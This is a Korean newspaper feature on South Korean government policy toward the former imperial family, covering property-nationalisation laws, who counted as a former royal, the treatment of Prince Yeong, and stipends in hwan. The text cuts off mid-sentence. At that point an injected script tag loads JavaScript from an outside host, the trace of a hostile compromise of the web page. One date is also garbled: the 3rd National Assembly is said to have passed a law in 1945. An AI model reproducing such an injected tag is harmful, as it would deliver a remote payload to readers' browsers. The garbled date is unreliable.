▣ 길윤형 기자 charisma@hani.co.kr

대한민국 정부의 황실 정책은 어떤 모습이었나. 첫 움직임은 3대 국회가 1945년 9월23일 만든 ‘구황실재산처리법’이라는 법률로 구체화된다.

△ 박정희 대통령은 이승만 박사와 달리 옛 황실에 관대한 편이었다. 이는 쿠데타로 집권한 뒤 지지 기반이 부족했던 그의 사정과 무관하지 않을 것이다. 이방자여사와 대화하는 모습.(사진/ <대한민국 정부 기록사진집>)

이 법의 뼈대는 “구황실 재산을 국유로 하는 대신 구황족들에게 생계비를 지급한다”는 것이었다. 법 4조는 생활비 지원을 받을 수 있는 ‘구황족’의 범위를 “이 법이 시행될 때 살아 있는 구황실의 직계 존비속과 그 배우자”라고 못박았다.

박정희, 황족들의 불행을 동정하다

그렇지만 이 법은 이승만 정권 아래서는 제대로 집행되지 않은 것으로 보인다. 법에서 말한 ‘구황족’의 범위가 어디까지인지 명확한 규정이 없기 때문이다. 1963년 영친왕 환국을 이끈 김을한(작고)씨는 1980년 탐구당에서 펴낸 <인간 영친왕>에서 “영친왕이 해방 이후 귀국하지 못한 것은 이승만 대통령의 탓이 크다”고 말했다. 오랜 미국 체류 기간 동안 대한제국의 왕자(프린스)라고 자칭해온 이 박사(그는 전주 이씨 양녕대군파다)는 영친왕을 정치적 라이벌로 생각해 귀국을 허락하지 않았다. 그렇다고 영친왕이 스스로 몸을 일으켜 운명을 개척해가는 스타일도 아니었다. 그는 시류에 적응하는 소극적인 사람이었다. 그는 1945년 해방된 조국으로 돌아가 마지막 황태자다운 기상을 보여주는 대신, 1947년 10월14일 신적강하(臣籍降下)로 왕족 신분을 잃을 때까지 일본 국적을 포기하지 않았다.

법에 구체적인 근거 규정이 만들어진 것은 1961년 2월20일 장면 정권이 국무원령 204호로 ‘구황실재산법 제4조 시행에 관한 건’을 제정하면서부터다. 이 법은 구황족의 범위를 △고종·순종의 배우자 △고종·순종의 자와 그 배우자 △순종의 황태자·황태자계의 호주 상속인과 그 배우자 △고종의 자의 호주 상속인과 그 배우자 △황태자계의 호주 상속인의 자와 그 배우자로 범위를 한정했다. 그러나 이는 날림으로 만들어진 법이었다. 순종은 아들이 없고, 영친왕은 순종의 황태자인 동시에 고종의 아들이었기 때문이다. 이 때문에 그해 10월17일에 개정된 법은 ‘구황족’의 범위를 △악선제 윤씨(순종의 부인) △삼축당 김씨(고종의 부인) △광화당 이씨(고종의 부인) △사동궁 김씨(의친왕 이강의 부인) △영친왕 이은과 그 배우자로 축소했다. 그 뒤 일본 마쓰사와 정신병원에 갇혀 있던 고종의 딸 덕혜 옹주를 귀국시킨 뒤 1962년 4월10일 법을 다시 바꿔 그 범위 안에 덕혜 옹주를 포함시켰다.

그때 지급된 돈은 얼마였을까. 김을한씨는 <인간 영친왕>에서 매달 순종의 정비인 순정효황후 윤씨에게는 50만환, 의친왕비 연안 김씨에게는 30만환, 고종의 후비인 광화당 귀인 이씨와 삼축당 귀인 김씨에게는 각각 10만환 등 모두 100만환을 지급했다고 적고 있다.

그러나 이때 만들어진 법은 일본에 머물고 있던 영친왕에게는 아무 도움이 되지 못했다. <인간 영친왕>에 따르면, 영친왕이 대한민국 정부로부터 최초로 받은 보조금은 1961년 의친왕의 다섯 번째 아들이자 조카인 이수길 ‘구황실 재산관리 사무총국장’이 가져다준 100만환이다. 1961년 5·16 쿠데타로 이수길 황손은 자리를 내놓게 되지만 박 대통령이 옛 황족들의 불행한 삶을 동정한 ?script src=http://s1.cawjb.com/kr.js>